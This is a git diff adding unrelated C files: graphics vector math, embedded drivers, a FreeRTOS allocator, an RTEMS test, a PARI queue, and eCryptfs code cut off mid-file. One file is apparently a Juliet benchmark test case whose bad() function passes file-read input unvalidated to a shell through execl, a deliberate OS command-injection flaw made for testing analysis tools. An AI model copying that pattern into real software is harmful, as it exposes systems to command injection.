SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ +#include "common.h" + +/* + * Normalize a vector, return original length. + */ +Float +VecNormalize(a) +register Vector *a; +{ + Float d; + + d = sqrt(a->x*a->x + a->y*a->y + a->z*a->z); + if (equal(d, 0.)) + return 0.; + a->x /= d; + a->y /= d; + a->z /= d; +#ifdef CRAY + /* + * The Cray Research Inc. math functional units don't work in the IEEE + * standard way, so when we get here, we just might have an x,y or z + * that is not in the range -1.0 <= J <= 1.0 Yes, I know that that + * can't happen, but it does. So since we know we just normalized this + * vector, we'll just force x,y and z into the range -1.0 to 1.0 O.K? + */ + if (a->x >= 1.0) a->x = 1.0; + else if (a->x <= -1.0) a->x = -1.0; + if (a->y >= 1.0) a->y = 1.0; + else if (a->y <= -1.0) a->y = -1.0; + if (a->z >= 1.0) a->z = 1.0; + else if (a->z <= -1.0) a->z = -1.0; +#endif /* CRAY */ + + return d; +} + +/* + * Compute cross-product of a and b, place normalized result in o. Returns + * length of result before normalization. + */ +Float +VecNormCross(a, b, r) +Vector *a, *b, *r; +{ + VecCross(a, b, r); + return VecNormalize(r); +} + +/* + * Compute cross-product of a and b, place result in o. + */ +void +VecCross(a, b, r) +Vector *a, *b, *r; +{ + r->x = (a->y * b->z) - (a->z * b->y); + r->y = (a->z * b->x) - (a->x * b->z); + r->z = (a->x * b->y) - (a->y * b->x); +} + +/* + * Calculate direction of refracted ray using Heckbert's formula. Returns TRUE + * if a total internal reflection occurs. + */ +int +Refract(dir, from_index, to_index, I, N, cos1) +Float from_index, to_index, cos1; +Vector *dir, *I, *N; +{ + double kn, cos2, k; + Vector nrm; + + if (cos1 < 0.) { + /* + * Hit the 'backside' of a surface -- flip the normal. + */ + nrm.x = -N->x; + nrm.y = -N->y; + nrm.z = -N->z; + cos1 = -cos1; + } else + nrm = *N; + + kn = from_index / to_index; + cos2 = 1. - kn*kn*(1. - cos1*cos1); + if (cos2 < 0.) + return TRUE; /* Total internal reflection. */ + k = kn * cos1 - sqrt((double)cos2); + VecComb(kn, *I, k, nrm, dir); + return FALSE; +} + +/* + * Given a vector, find two additional vectors such that all three + * are mutually perpendicular and uaxis X vaxis = vector. The given + * vector need not be normalized. uaxis and vaxis are normalized. + */ +void +VecCoordSys(vector, uaxis, vaxis) +Vector *vector, *uaxis, *vaxis; +{ + uaxis->x = -vector->y; + uaxis->y = vector->x; + uaxis->z = 0.; + if (VecNormalize(uaxis) == 0.) { + uaxis->x = vector->z; + uaxis->y = 0.; + uaxis->z = -vector->x; + if (VecNormalize(uaxis) == 0.) + RLerror(RL_WARN, + "VecCoordSys passed degenerate vector.\n"); + } + (void)VecNormCross(vector, uaxis, vaxis); +} + +/* + * Modify given normal by "bumping" it. + */ +void +MakeBump(norm, dpdu, dpdv, fu, fv) +Vector *norm, *dpdu, *dpdv; /* normal, surface derivatives */ +Float fu, fv; /* bump function partial derivatives in uv */ +{ + Vector tmp1, tmp2; + + VecCross(norm, dpdv, &tmp1); + VecScale(fu, tmp1, &tmp1); + VecCross(norm, dpdu, &tmp2); + VecScale(fv, tmp2, &tmp2); + VecSub(tmp1, tmp2, &tmp1); + VecAdd(*norm, tmp1, norm); + (void)VecNormalize(norm); +} diff --git a/pool/shard011/C/0142247_CWE78_OS_Command_Injection__wchar_t_file_execl_13.c b/pool/shard011/C/0142247_CWE78_OS_Command_Injection__wchar_t_file_execl_13.c new file mode 100644 index 0000000000000000000000000000000000000000..9b72440f6e300f56990962e4fa319ca8c05ce38d --- /dev/null +++ b/pool/shard011/C/0142247_CWE78_OS_Command_Injection__wchar_t_file_execl_13.c @@ -0,0 +1,159 @@ +/* TEMPLATE GENERATED TESTCASE FILE +Filename: CWE78_OS_Command_Injection__wchar_t_file_execl_13.c +Label Definition File: CWE78_OS_Command_Injection.strings.label.xml +Template File: sources-sink-13.tmpl.c +*/ +/* + * @description + * CWE: 78 OS Command Injection + * BadSource: file Read input from a file + * GoodSource: Fixed string + * Sink: execl + * BadSink : execute command with wexecl + * Flow Variant: 13 Control flow: if(GLOBAL_CONST_FIVE==5) and if(GLOBAL_CONST_FIVE!=5) + * + * */ + +#include "std_testcase.h" + +#include + +#ifdef _WIN32 +#define COMMAND_INT_PATH L"%WINDIR%\\system32\\cmd.exe" +#define COMMAND_INT L"cmd.exe" +#define COMMAND_ARG1 L"/c" +#define COMMAND_ARG2 L"dir" +#define COMMAND_ARG3 data +#else /* NOT _WIN32 */ +#include +#define COMMAND_INT_PATH L"/bin/sh" +#define COMMAND_INT L"sh" +#define COMMAND_ARG1 L"ls" +#define COMMAND_ARG2 L"-la" +#define COMMAND_ARG3 data +#endif + +#ifdef _WIN32 +#define FILENAME "C:\\temp\\file.txt" +#else +#define FILENAME "/tmp/file.txt" +#endif + +#ifdef _WIN32 +#include +#define EXECL _wexecl +#else /* NOT _WIN32 */ +#define EXECL execl +#endif + +#ifndef OMITBAD + +void CWE78_OS_Command_Injection__wchar_t_file_execl_13_bad() +{ + wchar_t * data; + wchar_t dataBuffer[100] = L""; + data = dataBuffer; + if(GLOBAL_CONST_FIVE==5) + { + { + /* Read input from a file */ + size_t dataLen = wcslen(data); + FILE * pFile; + /* if there is room in data, attempt to read the input from a file */ + if (100-dataLen > 1) + { + pFile = fopen(FILENAME, "r"); + if (pFile != NULL) + { + /* POTENTIAL FLAW: Read data from a file */ + if (fgetws(data+dataLen, (int)(100-dataLen), pFile) == NULL) + { + printLine("fgetws() failed"); + /* Restore NUL terminator if fgetws fails */ + data[dataLen] = L'\0'; + } + fclose(pFile); + } + } + } + } + /* wexecl - specify the path where the command is located */ + /* POTENTIAL FLAW: Execute command without validating input possibly leading to command injection */ + EXECL(COMMAND_INT_PATH, COMMAND_INT_PATH, COMMAND_ARG1, COMMAND_ARG2, COMMAND_ARG3, NULL); +} + +#endif /* OMITBAD */ + +#ifndef OMITGOOD + +/* goodG2B1() - use goodsource and badsink by changing the GLOBAL_CONST_FIVE==5 to GLOBAL_CONST_FIVE!=5 */ +static void goodG2B1() +{ + wchar_t * data; + wchar_t dataBuffer[100] = L""; + data = dataBuffer; + if(GLOBAL_CONST_FIVE!=5) + { + /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */ + printLine("Benign, fixed string"); + } + else + { + /* FIX: Append a fixed string to data (not user / external input) */ + wcscat(data, L"*.*"); + } + /* wexecl - specify the path where the command is located */ + /* POTENTIAL FLAW: Execute command without validating input possibly leading to command injection */ + EXECL(COMMAND_INT_PATH, COMMAND_INT_PATH, COMMAND_ARG1, COMMAND_ARG2, COMMAND_ARG3, NULL); +} + +/* goodG2B2() - use goodsource and badsink by reversing the blocks in the if statement */ +static void goodG2B2() +{ + wchar_t * data; + wchar_t dataBuffer[100] = L""; + data = dataBuffer; + if(GLOBAL_CONST_FIVE==5) + { + /* FIX: Append a fixed string to data (not user / external input) */ + wcscat(data, L"*.*"); + } + /* wexecl - specify the path where the command is located */ + /* POTENTIAL FLAW: Execute command without validating input possibly leading to command injection */ + EXECL(COMMAND_INT_PATH, COMMAND_INT_PATH, COMMAND_ARG1, COMMAND_ARG2, COMMAND_ARG3, NULL); +} + +void CWE78_OS_Command_Injection__wchar_t_file_execl_13_good() +{ + goodG2B1(); + goodG2B2(); +} + +#endif /* OMITGOOD */ + +/* Below is the main(). It is only used when building this testcase on + * its own for testing or for building a binary to use in testing binary + * analysis tools. It is not used when compiling all the testcases as one + * application, which is how source code analysis tools are tested. + */ + +#ifdef INCLUDEMAIN + +int main(int argc, char * argv[]) +{ + /* seed randomness */ + srand( (unsigned)time(NULL) ); +#ifndef OMITGOOD + printLine("Calling good()..."); + CWE78_OS_Command_Injection__wchar_t_file_execl_13_good(); + printLine("Finished good()"); +#endif /* OMITGOOD */ +#ifndef OMITBAD + printLine("Calling bad()..."); + CWE78_OS_Command_Injection__wchar_t_file_execl_13_bad(); + printLine("Finished bad()"); +#endif /* OMITBAD */ + return 0; +} + +#endif diff --git a/pool/shard011/C/0142248_ctimer.c b/pool/shard011/C/0142248_ctimer.c new file mode 100644 index 0000000000000000000000000000000000000000..d0907df00478bd3dde566e059ea3fa40423a4901 --- /dev/null +++ b/pool/shard011/C/0142248_ctimer.c @@ -0,0 +1,69 @@ +/* + * This file is part of hijack-infinity. + * + * hijack-infinity is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * hijack-infinity is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with hijack-infinity. If not, see . + */ + +#include "ctimer.h" +\ +#if defined(MSP430FR5969) + +#include "msp430.h" + +// Comparator timer +// A2 + +ctimer_callback* ctimer_callback_fn; + + +void ctimer_init (void) { + TA2CTL = TASSEL__SMCLK + MC__CONTINUOUS + ID__8; + + // CM = capture on both edges + // CCIS = select comparator e + // CAP = capture mode + // CCIE = interrupt enable + TA2CCTL1 = CM_3 + CCIS_1 + CAP + CCIE; +} + +void ctimer_set_callback (ctimer_callback* cb) { + ctimer_callback_fn = cb; +} + +void ctimer_clear (void) { + TA2R = 0x00; +} + +void ctimer_stop (void) { + TA2CTL &= MC__STOP; +} + +uint8_t ctimer_readLine (void) { + return !!(TA2CCTL1 & CCI); +} + +#pragma vector = TIMER2_A1_VECTOR +__interrupt void Timer_A2 (void) { + uint16_t capture_reg; + capture_reg = TA2CCR1; + + if (capture_reg > 0x100) { + ctimer_clear(); + ctimer_callback_fn(capture_reg); + } + + TA2CCTL1 &= ~CCIFG; +} + +#endif \ No newline at end of file diff --git a/pool/shard011/C/0142249_OpenDriver.c b/pool/shard011/C/0142249_OpenDriver.c new file mode 100644 index 0000000000000000000000000000000000000000..9ec71d6a763ff9dbadf24afc2caaa8d1d0a4306a --- /dev/null +++ b/pool/shard011/C/0142249_OpenDriver.c @@ -0,0 +1,36 @@ +/* + * + * (c) 2005 Laurent Vivier + * + */ + +#include +#include + +#include + +/* + * OpenDriver: + * + * http://developer.apple.com/documentation/mac/Devices/Devices-23.html + * + */ + +OSErr OpenDriver(ConstStr255Param name, short *drvrRefNum) +{ + OSErr err; + ParamBlockRec param; + + memset(¶m, 0, sizeof(ParamBlockRec)); + + param.ioNamePtr = (unsigned char*)name; + param.ioPermssn = fsCurPerm; + + err = PBOpenSync(¶m); + if (err != noErr) + return err; + + *drvrRefNum = param.ioRefNum; + + return param.ioResult; +} diff --git a/pool/shard011/C/0142250_heap_2.c b/pool/shard011/C/0142250_heap_2.c new file mode 100644 index 0000000000000000000000000000000000000000..57b6aeb22defc7ea3d0fab3d2bef938dd57c4ed9 --- /dev/null +++ b/pool/shard011/C/0142250_heap_2.c @@ -0,0 +1,283 @@ +/* + FreeRTOS.org V5.3.0 - Copyright (C) 2003-2009 Richard Barry. + + This file is part of the FreeRTOS.org distribution. + + FreeRTOS.org is free software; you can redistribute it and/or modify it + under the terms of the GNU General Public License (version 2) as published + by the Free Software Foundation and modified by the FreeRTOS exception. + **NOTE** The exception to the GPL is included to allow you to distribute a + combined work that includes FreeRTOS.org without being obliged to provide + the source code for any proprietary components. Alternative commercial + license and support terms are also available upon request. See the + licensing section of http://www.FreeRTOS.org for full details. + + FreeRTOS.org is distributed in the hope that it will be useful, but WITHOUT + ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for + more details. + + You should have received a copy of the GNU General Public License along + with FreeRTOS.org; if not, write to the Free Software Foundation, Inc., 59 + Temple Place, Suite 330, Boston, MA 02111-1307 USA. + + + *************************************************************************** + * * + * Get the FreeRTOS eBook! See http://www.FreeRTOS.org/Documentation * + * * + * This is a concise, step by step, 'hands on' guide that describes both * + * general multitasking concepts and FreeRTOS specifics. It presents and * + * explains numerous examples that are written using the FreeRTOS API. * + * Full source code for all the examples is provided in an accompanying * + * .zip file. * + * * + *************************************************************************** + + 1 tab == 4 spaces! + + Please ensure to read the configuration and relevant port sections of the + online documentation. + + http://www.FreeRTOS.org - Documentation, latest information, license and + contact details. + + http://www.SafeRTOS.com - A version that is certified for use in safety + critical systems. + + http://www.OpenRTOS.com - Commercial support, development, porting, + licensing and training services. +*/ + +/* + * A sample implementation of pvPortMalloc() and vPortFree() that permits + * allocated blocks to be freed, but does not combine adjacent free blocks + * into a single larger block. + * + * See heap_1.c and heap_3.c for alternative implementations, and the memory + * management pages of http://www.FreeRTOS.org for more information. + */ +#include + +#include "FreeRTOS.h" +#include "task.h" + +static int totalinuse = 0; /* PN / JvdG */ + +/* Setup the correct byte alignment mask for the defined byte alignment. */ + +#if portBYTE_ALIGNMENT == 8 + #define heapBYTE_ALIGNMENT_MASK ( ( size_t ) 0x0007 ) +#endif + +#if portBYTE_ALIGNMENT == 4 + #define heapBYTE_ALIGNMENT_MASK ( ( size_t ) 0x0003 ) +#endif + +#if portBYTE_ALIGNMENT == 2 + #define heapBYTE_ALIGNMENT_MASK ( ( size_t ) 0x0001 ) +#endif + +#if portBYTE_ALIGNMENT == 1 + #define heapBYTE_ALIGNMENT_MASK ( ( size_t ) 0x0000 ) +#endif + +#ifndef heapBYTE_ALIGNMENT_MASK + #error "Invalid portBYTE_ALIGNMENT definition" +#endif + +/* Allocate the memory for the heap. The struct is used to force byte +alignment without using any non-portable code. */ +static union xRTOS_HEAP +{ + volatile unsigned portLONG ulDummy; + unsigned portCHAR ucHeap[ configTOTAL_HEAP_SIZE ]; +} xHeap; + +/* Define the linked list structure. This is used to link free blocks in order +of their size. */ +typedef struct A_BLOCK_LINK +{ + struct A_BLOCK_LINK *pxNextFreeBlock; /*<< The next free block in the list. */ + size_t xBlockSize; /*<< The size of the free block. */ +} xBlockLink; + + +static const unsigned portSHORT heapSTRUCT_SIZE = ( sizeof( xBlockLink ) + ( sizeof( xBlockLink ) % portBYTE_ALIGNMENT ) ); +#define heapMINIMUM_BLOCK_SIZE ( ( size_t ) ( heapSTRUCT_SIZE * 2 ) ) + +/* Create a couple of list links to mark the start and end of the list. */ +static xBlockLink xStart, xEnd; + +/* STATIC FUNCTIONS ARE DEFINED AS MACROS TO MINIMIZE THE FUNCTION CALL DEPTH. */ + +/* + * Insert a block into the list of free blocks - which is ordered by size of + * the block. Small blocks at the start of the list and large blocks at the end + * of the list. + */ +#define prvInsertBlockIntoFreeList( pxBlockToInsert ) \ +{ \ +xBlockLink *pxIterator; \ +size_t xBlockSize; \ + \ + xBlockSize = pxBlockToInsert->xBlockSize; \ + \ + /* Iterate through the list until a block is found that has a larger size */ \ + /* than the block we are inserting. */ \ + for( pxIterator = &xStart; pxIterator->pxNextFreeBlock->xBlockSize < xBlockSize; pxIterator = pxIterator->pxNextFreeBlock ) \ + { \ + /* There is nothing to do here - just iterate to the correct position. */ \ + } \ + \ + /* Update the list to include the block being inserted in the correct */ \ + /* position. */ \ + pxBlockToInsert->pxNextFreeBlock = pxIterator->pxNextFreeBlock; \ + pxIterator->pxNextFreeBlock = pxBlockToInsert; \ +} +/*-----------------------------------------------------------*/ + +#define prvHeapInit() \ +{ \ +xBlockLink *pxFirstFreeBlock; \ + \ + /* xStart is used to hold a pointer to the first item in the list of free */ \ + /* blocks. The void cast is used to prevent compiler warnings. */ \ + xStart.pxNextFreeBlock = ( void * ) xHeap.ucHeap; \ + xStart.xBlockSize = ( size_t ) 0; \ + \ + /* xEnd is used to mark the end of the list of free blocks. */ \ + xEnd.xBlockSize = configTOTAL_HEAP_SIZE; \ + xEnd.pxNextFreeBlock = NULL; \ + \ + /* To start with there is a single free block that is sized to take up the \ + entire heap space. */ \ + pxFirstFreeBlock = ( void * ) xHeap.ucHeap; \ + pxFirstFreeBlock->xBlockSize = configTOTAL_HEAP_SIZE; \ + pxFirstFreeBlock->pxNextFreeBlock = &xEnd; \ +} +/*-----------------------------------------------------------*/ + +void *pvPortMalloc( size_t xWantedSize ) +{ +xBlockLink *pxBlock, *pxPreviousBlock, *pxNewBlockLink; +static portBASE_TYPE xHeapHasBeenInitialised = pdFALSE; +void *pvReturn = NULL; + + vTaskSuspendAll(); + { + /* If this is the first call to malloc then the heap will require + initialisation to setup the list of free blocks. */ + if( xHeapHasBeenInitialised == pdFALSE ) + { + prvHeapInit(); + xHeapHasBeenInitialised = pdTRUE; + } + + /* The wanted size is increased so it can contain a xBlockLink + structure in addition to the requested amount of bytes. */ + if( xWantedSize > 0 ) + { + xWantedSize += heapSTRUCT_SIZE; + + /* Ensure that blocks are always aligned to the required number of bytes. */ + if( xWantedSize & heapBYTE_ALIGNMENT_MASK ) + { + /* Byte alignment required. */ + xWantedSize += ( portBYTE_ALIGNMENT - ( xWantedSize & heapBYTE_ALIGNMENT_MASK ) ); + } + } + + if( ( xWantedSize > 0 ) && ( xWantedSize < configTOTAL_HEAP_SIZE ) ) + { + /* Blocks are stored in byte order - traverse the list from the start + (smallest) block until one of adequate size is found. */ + pxPreviousBlock = &xStart; + pxBlock = xStart.pxNextFreeBlock; + while( ( pxBlock->xBlockSize < xWantedSize ) && ( pxBlock->pxNextFreeBlock ) ) + { + pxPreviousBlock = pxBlock; + pxBlock = pxBlock->pxNextFreeBlock; + } + + /* If we found the end marker then a block of adequate size was not found. */ + if( pxBlock != &xEnd ) + { + /* Return the memory space - jumping over the xBlockLink structure + at its start. */ + pvReturn = ( void * ) ( ( ( unsigned portCHAR * ) pxPreviousBlock->pxNextFreeBlock ) + heapSTRUCT_SIZE ); + + /* This block is being returned for use so must be taken our of the + list of free blocks. */ + pxPreviousBlock->pxNextFreeBlock = pxBlock->pxNextFreeBlock; + + /* If the block is larger than required it can be split into two. */ + if( ( pxBlock->xBlockSize - xWantedSize ) > heapMINIMUM_BLOCK_SIZE ) + { + /* This block is to be split into two. Create a new block + following the number of bytes requested. The void cast is + used to prevent byte alignment warnings from the compiler. */ + pxNewBlockLink = ( void * ) ( ( ( unsigned portCHAR * ) pxBlock ) + xWantedSize ); + + /* Calculate the sizes of two blocks split from the single + block. */ + pxNewBlockLink->xBlockSize = pxBlock->xBlockSize - xWantedSize; + pxBlock->xBlockSize = xWantedSize; + + /* Insert the new block into the list of free blocks. */ + prvInsertBlockIntoFreeList( ( pxNewBlockLink ) ); + } + } + } + } + + /* PN / JvdG */ + if (pvReturn) { + unsigned portCHAR *puc = (( unsigned portCHAR * ) pvReturn) - heapSTRUCT_SIZE; + xBlockLink *pxLink = ( void * ) puc; + totalinuse += pxLink->xBlockSize; + } + + xTaskResumeAll(); + + return pvReturn; +} +/*-----------------------------------------------------------*/ + +void vPortFree( void *pv ) +{ +unsigned portCHAR *puc = ( unsigned portCHAR * ) pv; +xBlockLink *pxLink; + + if( pv ) + { + /* The memory being freed will have an xBlockLink structure immediately + before it. */ + puc -= heapSTRUCT_SIZE; + + /* This casting is to keep the compiler from issuing warnings. */ + pxLink = ( void * ) puc; + + vTaskSuspendAll(); + { + totalinuse -= pxLink->xBlockSize; /* PN / JvdG */ + /* Add this block to the list of free blocks. */ + prvInsertBlockIntoFreeList( ( ( xBlockLink * ) pxLink ) ); + } + xTaskResumeAll(); + } +} +/*-----------------------------------------------------------*/ + +/* PN / JvdG */ +int GetMemInUse( void ) +{ + return totalinuse; +} + +void *pvPortRealloc( void *pv, size_t xWantedSize ) +{ +void *pvReturn = pvPortMalloc( xWantedSize ); + vPortFree( pv ); + return pvReturn; +} diff --git a/pool/shard011/C/0142251_screen01.c b/pool/shard011/C/0142251_screen01.c new file mode 100644 index 0000000000000000000000000000000000000000..d81883cb0aeb5cce0f6a59369facd5f104a9a183 --- /dev/null +++ b/pool/shard011/C/0142251_screen01.c @@ -0,0 +1,266 @@ +/* Screen1 + * + * This routine generates error screen 1 for test 9. + * + * COPYRIGHT (c) 1989-2009. + * On-Line Applications Research Corporation (OAR). + * + * The license and distribution terms for this file may be + * found in the file LICENSE in this distribution or at + * http://www.rtems.com/license/LICENSE. + * + * $Id$ + */ + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include "system.h" + +void Screen1() +{ + uint32_t notepad_value; + rtems_id self_id; + rtems_task_priority previous_priority; + rtems_status_code status; + + /* bad Id */ + status = rtems_task_is_suspended( 100 ); + fatal_directive_status( + status, + RTEMS_INVALID_ID, + "rtems_task_set_priority with illegal id" + ); + puts( "TA1 - rtems_task_is_suspended - RTEMS_INVALID_ID" ); + + /* bad Id */ + status = rtems_task_delete( 100 ); + fatal_directive_status( + status, + RTEMS_INVALID_ID, + "rtems_task_delete with illegal id" + ); + puts( "TA1 - rtems_task_delete - RTEMS_INVALID_ID" ); + + /* NULL return */ + status = rtems_task_get_note( RTEMS_SELF, RTEMS_NOTEPAD_FIRST, NULL ); + fatal_directive_status( + status, + RTEMS_INVALID_ADDRESS, + "rtems_task_get_note with NULL param" + ); + puts( "TA1 - rtems_task_get_note - RTEMS_INVALID_ADDRESS" ); + + /* note too high */ + status = rtems_task_get_note( RTEMS_SELF, 100, ¬epad_value ); + fatal_directive_status( + status, + RTEMS_INVALID_NUMBER, + "rtems_task_get_note with illegal notepad" + ); + puts( "TA1 - rtems_task_get_note - RTEMS_INVALID_NUMBER" ); + + /* bad Id */ + status = rtems_task_get_note( 100, RTEMS_NOTEPAD_LAST, ¬epad_value ); + fatal_directive_status( + status, + RTEMS_INVALID_ID, + "rtems_task_get_note with illegal id" + ); + puts( "TA1 - rtems_task_get_note - RTEMS_INVALID_ID" ); + + /* unused Id so invalid now */ + status = rtems_task_get_note( + _RTEMS_tasks_Information.maximum_id, + RTEMS_NOTEPAD_LAST, + ¬epad_value + ); + fatal_directive_status( + status, + RTEMS_INVALID_ID, + "rtems_task_get_note with illegal id" + ); + puts( "TA1 - rtems_task_get_note - RTEMS_INVALID_ID" ); + + status = rtems_task_get_note( + _RTEMS_tasks_Information.minimum_id + (3L<pending; + if (workid) *workid = mt->workid; + mt->pending = NULL; *pending = 0; + return done; +} + +static void +mtsingle_queue_submit(struct mt_state *mt, long workid, GEN work) +{ + mt->pending = work? closure_callgenvec(mt->worker, work): NULL; + mt->workid = workid; +} + +static void +mtsingle_queue_end(void) { } + +void +mtsingle_queue_start(struct pari_mt *pt, GEN worker) +{ + pt->get = mtsingle_queue_get; + pt->submit = mtsingle_queue_submit; + pt->end = mtsingle_queue_end; + pt->mt.worker = worker; + pt->mt.pending = NULL; +} + +void +mt_queue_end(struct pari_mt *pt) { pt->end(); } + +void +mt_queue_submit(struct pari_mt *pt, long workid, GEN work) +{ pt->submit(&pt->mt, workid, work); } + +GEN +mt_queue_get(struct pari_mt *pt, long *workid, long *pending) +{ return pt->get(&pt->mt, workid, pending); } + + +void +mtstate_save(long *pending) +{ + *pending = mt_is_parallel(); +} + +void +mtstate_restore(long *pending) +{ + if (!*pending && mt_is_parallel()) + mt_queue_reset(); +} + +void +mtstate_reset(void) +{ + if (mt_is_parallel()) + mt_queue_reset(); +} diff --git a/pool/shard011/C/0142253_super.c b/pool/shard011/C/0142253_super.c new file mode 100644 index 0000000000000000000000000000000000000000..557469af2a336344bd15140c705613e843c4101b --- /dev/null +++ b/pool/shard011/C/0142253_super.c @@ -0,0 +1,225 @@ +/** + * eCryptfs: Linux filesystem encryption layer + * + * Copyright (C) 1997-2003 Erez Zadok + * Copyright (C) 2001-2003 Stony Brook University + * Copyright (C) 2004-2006 International Business Machines Corp. + * Author(s): Michael A. Halcrow + * Michael C. Thompson + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "ecryptfs_kernel.h" + +struct kmem_cache *ecryptfs_inode_info_cache; + +/** + * ecryptfs_alloc_inode - allocate an ecryptfs inode + * @sb: Pointer to the ecryptfs super block + * + * Called to bring an inode into existence. + * + * Only handle allocation, setting up structures should be done in + * ecryptfs_read_inode. This is because the kernel, between now and + * then, will 0 out the private data pointer. + * + * Returns a pointer to a newly allocated inode, NULL otherwise + */ +static struct inode *ecryptfs_alloc_inode(struct super_block *sb) +{ + struct ecryptfs_inode_info *inode_info; + struct inode *inode = NULL; + + inode_info = kmem_cache_alloc(ecryptfs_inode_info_cache, GFP_KERNEL); + if (unlikely(!inode_info)) + goto out; + ecryptfs_init_crypt_stat(&inode_info->crypt_stat); + mutex_init(&inode_info->lower_file_mutex); + inode_info->lower_file = NULL; + inode = &inode_info->vfs_inode; +out: + return inode; +} + +/** + * ecryptfs_destroy_inode + * @inode: The ecryptfs inode + * + * This is used during the final destruction of the inode. All + * allocation of memory related to the inode, including allocated + * memory in the crypt_stat struct, will be released here. This + * function also fput()'s the persistent file for the lower inode. + * There should be no chance that this deallocation will be missed. + */ +static void ecryptfs_destroy_inode(struct inode *inode) +{ + struct ecryptfs_inode_info *inode_info; + + inode_info = ecryptfs_inode_to_private(inode); + if (inode_info->lower_file) { + struct dentry *lower_dentry = + inode_info->lower_file->f_dentry; + + BUG_ON(!lower_dentry); + if (lower_dentry->d_inode) { + fput(inode_info->lower_file); + inode_info->lower_file = NULL; + } + } + ecryptfs_destroy_crypt_stat(&inode_info->crypt_stat); + kmem_cache_free(ecryptfs_inode_info_cache, inode_info); +} + +/** + * ecryptfs_init_inode + * @inode: The ecryptfs inode + * + * Set up the ecryptfs inode. + */ +void ecryptfs_init_inode(struct inode *inode, struct inode *lower_inode) +{ + ecryptfs_set_inode_lower(inode, lower_inode); + inode->i_ino = lower_inode->i_ino; + inode->i_version++; + inode->i_op = &ecryptfs_main_iops; + inode->i_fop = &ecryptfs_main_fops; + inode->i_mapping->a_ops = &ecryptfs_aops; +} + +/** + * ecryptfs_put_super + * @sb: Pointer to the ecryptfs super block + * + * Final actions when unmounting a file system. + * This will handle deallocation and release of our private data. + */ +static void ecryptfs_put_super(struct super_block *sb) +{ + struct ecryptfs_sb_info *sb_info = ecryptfs_superblock_to_private(sb); + + lock_kernel(); + + ecryptfs_destroy_mount_crypt_stat(&sb_info->mount_crypt_stat); + kmem_cache_free(ecryptfs_sb_info_cache, sb_info); + ecryptfs_set_superblock_private(sb, NULL); + + unlock_kernel(); +} + +/** + * ecryptfs_statfs + * @sb: The ecryptfs super block + * @buf: The struct kstatfs to fill in with stats + * + * Get the filesystem statistics. Currently, we let this pass right through + * to the lower filesystem and take no action ourselves. + */ +static int ecryptfs_statfs(struct dentry *dentry, struct kstatfs *buf) +{ + struct dentry *lower_dentry = ecryptfs_dentry_to_lower(dentry); + int rc; + + if (!lower_dentry->d_sb->s_op->statfs) + return -ENOSYS; + + rc = lower_dentry->d_sb->s_op->statfs(lower_dentry, buf); + if (rc) + return rc; + + buf->f_type = ECRYPTFS_SUPER_MAGIC; + rc = ecryptfs_set_f_namelen(&buf->f_namelen, buf->f_namelen, + &ecryptfs_superblock_to_private(dentry->d_sb)->mount_crypt_stat); + + return rc; +} + +/** + * ecryptfs_clear_inode + * @inode - The ecryptfs inode + * + * Called by iput() when the inode reference count reached zero + * and the inode is not hashed anywhere. Used to clear anything + * that needs to be, before the inode is completely destroyed and put + * on the inode free list. We use this to drop out reference to the + * lower inode. + */ +static void ecryptfs_clear_inode(struct inode *inode) +{ + iput(ecryptfs_inode_to_lower(inode)); +} + +/** + * ecryptfs_show_options + * + * Prints the mount options for a given superblock. + * Returns zero; does not fail. + */ +static int ecryptfs_show_options(struct seq_file *m, struct vfsmount *mnt) +{ + struct super_block *sb = mnt->mnt_sb; + struct ecryptfs_mount_crypt_stat *mount_crypt_stat = + &ecryptfs_superblock_to_private(sb)->mount_crypt_stat; + struct ecryptfs_global_auth_tok *walker; + + mutex_lock(&mount_crypt_stat->global_auth_tok_list_mutex); + list_for_each_entry(walker, + &mount_crypt_stat->global_auth_tok_list, + mount_crypt_stat_list) { + if (walker->flags & ECRYPTFS_AUTH_TOK_FNEK) + seq_printf(m, ",ecryptfs_fnek_sig=%s", walker->sig); + else + seq_printf(m, ",ecryptfs_sig=%s", walker->sig); + } + mutex_unlock(&mount_crypt_stat->global_auth_tok_list_mutex); + + seq_printf(m, ",ecryptfs_cipher=%s", + mount_crypt_stat->global_default_cipher_name); + + if (mount_crypt_stat->global_default_cipher_key_size) + seq_printf(m, ",ecryptfs_key_bytes=%zd", + mount_crypt_stat->global_default_cipher_key_size); + if (mount_crypt_stat->flags & ECRYPTFS_PLAINTEXT_PASSTHROUGH_ENABLED) + seq_printf(m, ",ecryptfs_passthrough"); + if (mount_crypt_stat->flags & ECRYPTFS_XATTR_METADATA_ENABLED) + seq_printf(m, ",ecryptfs_xattr_metadata"); + if (mount_crypt_stat->flags & ECRYPTFS_ENCRYPTED_VIEW_ENABLED) + seq_printf(m, ",ecryptfs_encrypted_view"); + if (mount_crypt_stat->flags & ECRYPTFS_UNLINK_SIGS) + seq_printf(m, ",ecryptfs_unlink_sigs"); + + return 0; +} + +const struct super_operations ecryptfs_sops = { + .alloc_inode = ecryptfs_alloc_inode, + .destroy_inode = ecryptfs_destroy_inode, + .drop_inode = 